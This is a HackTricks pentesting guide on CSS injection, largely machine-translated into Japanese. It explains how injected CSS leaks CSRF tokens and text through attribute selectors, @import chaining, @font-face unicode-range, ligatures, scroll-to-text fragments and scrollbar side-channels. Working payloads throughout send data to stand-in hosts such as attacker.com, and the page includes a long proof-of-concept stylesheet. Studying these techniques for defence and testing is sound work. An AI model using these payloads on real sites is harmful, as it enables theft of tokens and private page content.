hacktricks/pentesting-web/xs-search/css-injection
2024-07-19 10:21:08 +00:00
..
css-injection-code.md Translated ['README.md', 'forensics/basic-forensic-methodology/partition 2024-03-09 13:20:56 +00:00
README.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:21:08 +00:00

CSS Injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}


CSS Injection

Attribute Selector

CSSセレクタは、input芁玠のnameおよびvalue属性の倀に䞀臎するように䜜成されおいたす。入力芁玠の倀属性が特定の文字で始たる堎合、あらかじめ定矩された倖郚リ゜ヌスが読み蟌たれたす:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

しかし、このアプロヌチは隠し入力芁玠type="hidden"を扱う際に制限に盎面したす。なぜなら、隠し芁玠は背景を読み蟌たないからです。

隠し芁玠のバむパス

この制限を回避するために、~ 䞀般的な兄匟コンビネヌタを䜿甚しお次の兄匟芁玠をタヌゲットにするこずができたす。CSSルヌルは、隠し入力芁玠の埌に続くすべおの兄匟に適甚され、背景画像が読み蟌たれる原因ずなりたす。

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

実際にこの技術を悪甚する䟋は、提䟛されたコヌドスニペットに詳述されおいたす。こちらで確認できたす here。

CSSむンゞェクションの前提条件

CSSむンゞェクション技術が効果的であるためには、特定の条件を満たす必芁がありたす

  1. ペむロヌドの長さ: CSSむンゞェクションベクタヌは、䜜成されたセレクタを収容するのに十分な長さのペむロヌドをサポヌトする必芁がありたす。
  2. CSSの再評䟡: ペヌゞをフレヌム化する胜力が必芁であり、これは新しく生成されたペむロヌドでCSSの再評䟡をトリガヌするために必芁です。
  3. 倖郚リ゜ヌス: この技術は、倖郚ホストされた画像を䜿甚する胜力を前提ずしおいたす。これは、サむトのコンテンツセキュリティポリシヌCSPによっお制限される可胜性がありたす。

ブラむンド属性セレクタ

この投皿で説明されおいるように、:has ず :not セレクタを組み合わせお、ブラむンド芁玠からでもコンテンツを特定するこずが可胜です。これは、CSSむンゞェクションを読み蟌むりェブペヌゞの䞭身が党く分からない堎合に非垞に䟿利です。
たた、これらのセレクタを䜿甚しお、同じタむプの耇数のブロックから情報を抜出するこずも可胜です。

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

この技術を次の**@import技術ず組み合わせるこずで、blind-css-exfiltrationを䜿甚しお、盲目的なペヌゞから倚くの情報を抜出するこずが可胜です。**

@import

前の技術にはいく぀かの欠点がありたすので、前提条件を確認しおください。耇数のリンクを被害者に送信できる必芁があるか、CSSむンゞェクション脆匱ペヌゞをiframeできる必芁がありたす。

しかし、**CSS @import**を䜿甚しお技術の質を向䞊させる別の巧劙な技術がありたす。

これは最初にPepe Vilaによっお瀺され、次のように機胜したす

同じペヌゞを䜕床も異なるペむロヌドで読み蟌む代わりに前の方法のように、ペヌゞを䞀床だけ攻撃者のサヌバヌぞのむンポヌトで読み蟌むこずにしたすこれが被害者に送信するペむロヌドです

@import url('//attacker.com:5001/start?');
  1. むンポヌトは攻撃者からのCSSスクリプトを受け取るこずになりたす、そしおブラりザはそれを読み蟌みたす。
  2. 攻撃者が送信するCSSスクリプトの最初の郚分は再び攻撃者のサヌバヌぞの別の@importです。
  3. 攻撃者のサヌバヌはこのリク゚ストにはただ応答したせん。なぜなら、いく぀かの文字を挏掩させた埌に、次の文字を挏掩させるためのペむロヌドでこのむンポヌトに応答したいからです。
  4. ペむロヌドの2番目で倧きな郚分は属性セレクタ挏掩ペむロヌドになりたす。
  5. これにより、攻撃者のサヌバヌに秘密の最初の文字ず最埌の文字が送信されたす。
  6. 攻撃者のサヌバヌが秘密の最初ず最埌の文字を受け取るず、ステップ2で芁求されたむンポヌトに応答したす。
  7. 応答はステップ2、3、4ず党く同じですが、今回は秘密の2番目の文字ず次の最埌から2番目の文字を芋぀けようずしたす。

攻撃者は秘密を完党に挏掩させるたでそのルヌプを続けたす。

元のPepe Vilaのコヌドをここで利甚するこずができたす たたは、ほが同じコヌドですがコメント付きのものをここで芋぀けるこずができたす。

{% hint style="info" %} スクリプトは毎回2文字を発芋しようずしたす最初からず最埌からなぜなら、属性セレクタは次のようなこずを可胜にするからです

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

これはスクリプトが秘密をより早く挏らすこずを可胜にしたす。 {% endhint %}

{% hint style="warning" %} 時々、スクリプトは接頭蟞 + 接尟蟞がすでに完党なフラグであるこずを正しく怜出しないこずがあり、接頭蟞の方向に進み、接尟蟞の方向に戻り、ある時点でハングしたす。
心配しないでください、出力を確認すれば、そこにフラグを芋るこずができたす。 {% endhint %}

その他のセレクタ

CSSセレクタを䜿甚しおDOMの郚分にアクセスする他の方法

  • .class-to-search:nth-child(2): これはDOM内のクラス「class-to-search」を持぀2番目のアむテムを怜玢したす。
  • :empty セレクタ: 䟋えば、この解説で䜿甚されおいたす:
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

参考文献: CSSベヌスの攻撃: @font-faceのunicode-rangeを悪甚する, @terjanqによる゚ラヌに基づくXS-Search PoC

党䜓の意図は、制埡された゚ンドポむントからカスタムフォントを䜿甚し、指定されたリ゜ヌスfavicon.icoが読み蟌たれない堎合にのみ、このフォントでテキストこの堎合は「A」が衚瀺されるこずを保蚌するこずです。

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. カスタムフォントの䜿甚:
  • カスタムフォントは、<head>セクション内の<style>タグを䜿甚しお@font-faceルヌルで定矩されたす。
  • フォントはpocず名付けられ、倖郚゚ンドポむントhttp://attacker.com/?leakから取埗されたす。
  • unicode-rangeプロパティはU+0041に蚭定され、特定のUnicode文字'A'をタヌゲットにしたす。
  1. フォヌルバックテキストを持぀オブゞェクト芁玠:
  • <body>セクションにid="poc0"の<object>芁玠が䜜成されたす。この芁玠はhttp://192.168.0.1/favicon.icoからリ゜ヌスを読み蟌もうずしたす。
  • この芁玠のfont-familyは、<style>セクションで定矩された'poc'に蚭定されおいたす。
  • リ゜ヌスfavicon.icoの読み蟌みに倱敗した堎合、<object>タグ内のフォヌルバックコンテンツ文字'A'が衚瀺されたす。
  • 倖郚リ゜ヌスが読み蟌たれない堎合、フォヌルバックコンテンツ'A'はカスタムフォントpocを䜿甚しおレンダリングされたす。

スクロヌルテキストフラグメントのスタむリング

**:target**擬䌌クラスは、URLフラグメントによっおタヌゲットにされた芁玠を遞択するために䜿甚されたす。これはCSSセレクタヌレベル4仕様で指定されおいたす。::target-textは、テキストがフラグメントによっお明瀺的にタヌゲットにされない限り、芁玠に䞀臎しないこずを理解するこずが重芁です。

攻撃者がスクロヌルテキストフラグメント機胜を悪甚するこずで、特定のテキストがりェブペヌゞに存圚するこずを確認できるずいうセキュリティ䞊の懞念が生じたす。これは、HTMLむンゞェクションを通じお自分のサヌバヌからリ゜ヌスを読み蟌むこずによっお実珟されたす。この方法は、次のようなCSSルヌルを泚入するこずを含みたす:

:target::before { content : url(target.png) }

このようなシナリオでは、ペヌゞに「Administrator」ずいうテキストが存圚する堎合、リ゜ヌス target.png がサヌバヌからリク゚ストされ、テキストの存圚が瀺されたす。この攻撃の䞀䟋は、泚入されたCSSをスクロヌルテキストフラグメントず共に埋め蟌んだ特別に䜜成されたURLを通じお実行できたす

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

ここでは、攻撃がHTMLむンゞェクションを操䜜しおCSSコヌドを送信し、特定のテキスト「Administrator」をタヌゲットにしおいたす。これはScroll-to-text fragment#:~:text=Administratorを通じお行われたす。テキストが芋぀かるず、指定されたリ゜ヌスが読み蟌たれ、攻撃者にその存圚を無意識に知らせたす。

緩和策ずしお、以䞋の点に泚意する必芁がありたす

  1. 制玄されたSTTFマッチング: Scroll-to-text FragmentSTTFは、単語や文のみをマッチさせるように蚭蚈されおおり、任意の秘密やトヌクンを挏掩させる胜力を制限しおいたす。
  2. トップレベルのブラりゞングコンテキストぞの制限: STTFはトップレベルのブラりゞングコンテキストでのみ機胜し、iframe内では機胜しないため、いかなる悪甚の詊みもナヌザヌにずっおより目立぀ものになりたす。
  3. ナヌザヌのアクティベヌションの必芁性: STTFは動䜜するためにナヌザヌのアクティベヌションゞェスチャヌを必芁ずし、぀たり悪甚はナヌザヌが開始したナビゲヌションを通じおのみ可胜です。この芁件は、ナヌザヌのむンタラクションなしに攻撃が自動化されるリスクを倧幅に軜枛したす。それにもかかわらず、ブログ投皿の著者は、攻撃の自動化を容易にする特定の条件やバむパス䟋゜ヌシャル゚ンゞニアリング、䞀般的なブラりザ拡匵機胜ずのむンタラクションを指摘しおいたす。

これらのメカニズムず朜圚的な脆匱性を認識するこずは、りェブセキュリティを維持し、そのような悪甚的戊術から守るための鍵です。

詳现に぀いおは、元のレポヌトを確認しおください: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

この技術を䜿甚したCTFの゚クスプロむトはこちらで確認できたす。

@font-face / unicode-range

特定のunicode倀に察しお倖郚フォントを指定するこずができ、そのunicode倀がペヌゞに存圚する堎合にのみ収集されたす。䟋えば

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".

Text node exfiltration (I): ligatures

Reference: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

この技術は、フォントのリガチャを利甚しおノヌドからテキストを抜出し、幅の倉化を監芖するこずを含みたす。プロセスは以䞋のいく぀かのステップで構成されおいたす

  1. カスタムフォントの䜜成:
  • SVGフォントは、2文字のシヌケンスを衚すグリフに倧きな幅を蚭定するhoriz-adv-x属性を持぀グリフで䜜成されたす。
  • 䟋 SVGグリフ: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>、ここで "XY" は2文字のシヌケンスを瀺したす。
  • これらのフォントは、fontforgeを䜿甚しおwoff圢匏に倉換されたす。
  1. 幅の倉化の怜出:
  • CSSを䜿甚しおテキストが折り返さないようにしwhite-space: nowrap、スクロヌルバヌのスタむルをカスタマむズしたす。
  • 明確にスタむルされた氎平スクロヌルバヌの出珟は、特定のリガチャ、したがっお特定の文字シヌケンスがテキストに存圚するこずを瀺す指暙オラクルずしお機胜したす。
  • 関連するCSS:
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. ゚クスプロむトプロセス:
  • ステップ1: 倧きな幅を持぀文字のペア甚にフォントが䜜成されたす。
  • ステップ2: 倧きな幅のグリフ文字ペアのリガチャがレンダリングされるずきに怜出するために、スクロヌルバヌを利甚したトリックが䜿甚されたす。
  • ステップ3: リガチャを怜出するず、怜出されたペアを組み蟌み、前たたは埌の文字を远加した3文字のシヌケンスを衚す新しいグリフが生成されたす。
  • ステップ4: 3文字のリガチャの怜出が行われたす。
  • ステップ5: プロセスは繰り返され、テキスト党䜓が埐々に明らかになりたす。
  1. 最適化:
  • 珟圚の初期化方法である<meta refresh=...は最適ではありたせん。
  • より効率的なアプロヌチは、CSS @importトリックを䜿甚しお、゚クスプロむトのパフォヌマンスを向䞊させるこずができたす。

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq

このトリックはこのSlackersスレッドで公開されたした。テキストノヌドで䜿甚される文字セットは、ブラりザにむンストヌルされおいるデフォルトフォントを䜿甚しお挏掩するこずができたす倖郚たたはカスタムフォントは必芁ありたせん。

この抂念は、アニメヌションを利甚しおdivの幅を埐々に拡倧し、1文字ず぀テキストの「サフィックス」郚分から「プレフィックス」郚分に移行させるこずに基づいおいたす。このプロセスは、テキストを2぀のセクションに効果的に分割したす

  1. プレフィックス: 初期行。
  2. サフィックス: 次の行。

文字の遷移段階は次のように衚瀺されたす

C
ADB

CA
DB

CAD
B

CADB

この遷移䞭に、unicode-rangeトリックが䜿甚されお新しい文字がプレフィックスに加わるたびに識別されたす。これは、デフォルトフォントよりも明らかに背が高いComic Sansフォントに切り替えるこずで達成され、結果ずしお垂盎スクロヌルバヌがトリガヌされたす。このスクロヌルバヌの出珟は、プレフィックスに新しい文字が存圚するこずを間接的に瀺したす。

この方法では、ナニヌクな文字が珟れるずきに怜出できたすが、どの文字が繰り返されおいるかは特定できず、繰り返しが発生したこずだけがわかりたす。

{% hint style="info" %} 基本的に、unicode-rangeは文字を怜出するために䜿甚されたすが、倖郚フォントを読み蟌むこずは望たしくないため、別の方法を芋぀ける必芁がありたす。
文字が芋぀かったずき、それは事前にむンストヌルされたComic Sansフォントが䞎えられ、文字が倧きくなり、スクロヌルバヌがトリガヌされ、芋぀かった文字が挏掩したす。 {% endhint %}

Check the code extracted from the PoC:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

テキストノヌドの流出 (III): デフォルトフォントによる文字セットの挏掩倖郚アセットを必芁ずしない

参考: これはこの曞き蟌みの倱敗した解決策ずしお蚀及されおいたす

このケヌスは前のケヌスず非垞に䌌おいたすが、今回は特定の文字を他の文字より倧きくする目的は、ボットに抌されないボタンや読み蟌たれない画像のような䜕かを隠すこずです。したがっお、アクションたたはアクションの欠劂を枬定し、特定の文字がテキスト内に存圚するかどうかを知るこずができたす。

テキストノヌドの流出 (III): キャッシュタむミングによる文字セットの挏掩倖郚アセットを必芁ずしない

参考: これはこの曞き蟌みの倱敗した解決策ずしお蚀及されおいたす

この堎合、同じオリゞンから停のフォントを読み蟌むこずで、テキストに文字が含たれおいるかどうかを挏掩させるこずを詊みるこずができたす。

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

もし䞀臎があれば、フォントは /static/bootstrap.min.css?q=1 から読み蟌たれたす。成功裏に読み蟌たれるこずはありたせんが、ブラりザはそれをキャッシュするはずです。キャッシュがなくおも、304 not modified メカニズムがあるため、レスポンスは他のものよりも速くなるはずです。

しかし、キャッシュされたレスポンスず非キャッシュのレスポンスの時間差が十分でない堎合、これは圹に立ちたせん。䟋えば、著者は次のように述べおいたすしかし、テストの結果、最初の問題は速床があたり倉わらないこずであり、二぀目の問題はボットが disk-cache-size=1 フラグを䜿甚しおいるこずで、これは本圓に考慮されおいたす。

テキストノヌドの流出 (III): 数癟のロヌカル「フォント」を読み蟌む時間によっお文字セットを挏掩させる倖郚アセットを必芁ずしない

参考: これは この曞き蟌みの䞭での倱敗した解決策ずしお蚀及されおいたす

この堎合、䞀臎が発生したずきに同じオリゞンから数癟の停フォントを読み蟌むようにCSSを指定できたす。この方法で、かかる時間を枬定し、文字が珟れるかどうかを次のようなもので確認できたす

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

そしお、ボットのコヌドは次のようになりたす

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

そのため、フォントが䞀臎しない堎合、ボットを蚪問した際の応答時間は玄30秒になるず予想されたす。しかし、フォントが䞀臎する堎合、フォントを取埗するために耇数のリク゚ストが送信され、ネットワヌクに継続的なアクティビティが発生したす。その結果、停止条件を満たしお応答を受け取るたでに時間がかかりたす。したがっお、応答時間はフォントの䞀臎を刀断する指暙ずしお䜿甚できたす。

参考文献

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

{% hint style="success" %} AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポヌトする
{% endhint %}